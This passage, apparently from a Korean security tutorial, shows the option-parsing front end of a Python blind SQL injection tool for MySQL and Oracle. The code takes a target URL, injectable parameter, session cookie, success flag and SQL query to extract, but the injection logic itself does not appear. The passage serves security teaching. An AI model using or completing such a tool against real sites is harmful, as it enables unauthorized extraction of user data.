▣ 구현(MySQL, Oracle 공통)
1) OptionParser
: 파이썬 인터프리트 시 실행인자로 옵션 값을 입력받도록 구현
: 입력받은 옵션 값을 라이브러리 함수의 인자타입에 맞게 변환
2) Code
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 | import optparse; import ast; desc = "Blind SQL Injection Tool" # 해당 프로그램정보 기술 # optparse내 OptionParser메서드 호출 > parser변수 내 저장 parser = optparse.OptionParser(description = desc) # parser객체의 add_option()메서드를 통해 상세속성 지정 parser.add_option( "-u" , "--url" , dest = "arg_url" , default = " ", type=" string ", help=" \ "http://www.stgsecurity.co.kr/board/list.do\"" ) parser.add_option( "-x" , "--fixedParam" , dest = "arg_fixedParam" , default = " ", type=" string ", help=" ex)\ "name1=value1&name2=value2...\"" ) parser.add_option( "-p" , "--payParam" , dest = "arg_payParam" , default = " ", type=" string ", help=" ex) \ "name\"" ) parser.add_option( "-H" , "--header" , dest = "arg_header" , default = " ", type=" string ", help=" ex) 'host' : '10.1.1.3:8080' , 'cookie' : 'JSESSION=usersesson' ...") parser.add_option( "-m" , "--method" , dest = "arg_method" , default = "GET" , type = "string" , help = "ex) GET | POST" ) parser.add_option( "-o" , "--frontStr" , dest = "arg_frontStr" , default = " ", type=" string ", help=" ex) \ "id'\"" ) parser.add_option( "-f" , "--flagString" , dest = "arg_flagStr" , default = " ", type=" string ", help=" ex) \ "Success\"" ) parser.add_option( "-s" , "--sql" , dest = "arg_sql" , default = " ", type=" string ", help=" ex) \ "SELECT MEMBER_ID FROM USER\"" ) parser.add_option( "-r" , "--row" , dest = "arg_row" , default = 1 , type = "int" , help = "ex) 1" ) parser.add_option( "-d" , "--dbms" , dest = "arg_dbms" , default = " ", type=" string ", help=" ex) \ "MYSQL | ORACLE\"" ) # 옵션과 인자값들을 파싱 options, args = parser.parse_args() # urllib.urlencode()의 인자 값은 딕셔너리 타입이어야 함. # 이에 파라미터 형태의 문자열을 딕셔너리 형태로 변환 def param2dic(param) : param = "{'" + param.replace( "&" , "','" ) + "'}" param = param.replace( '=' , "':'" ) param = ast.literal_eval(param) # str자료형을 dictionary자료형으로 변환 return param # requests라이브러리를 통해 전송 시 헤더정보는 딕셔너리타입이어야 함. # 헤더정보를 입력받아 dictionary형태로 변환 def header2dic(header): header = "{" + header + "}" header = ast.literal_eval(header) return header # 입력된 인자값들을 Dictionary형태로 저장 payload = { 'method' :options.arg_method, 'flagStr' :options.arg_flagStr, 'frontStr' :options.arg_frontStr, 'sql' :options.arg_sql, 'row' :options.arg_row, 'dbms' :options.arg_dbms, 'url' :options.arg_url, 'fixedParam' :param2dic(options.arg_fixedParam), 'payParam' :options.arg_payParam, 'header' :header2dic(options.arg_header)} |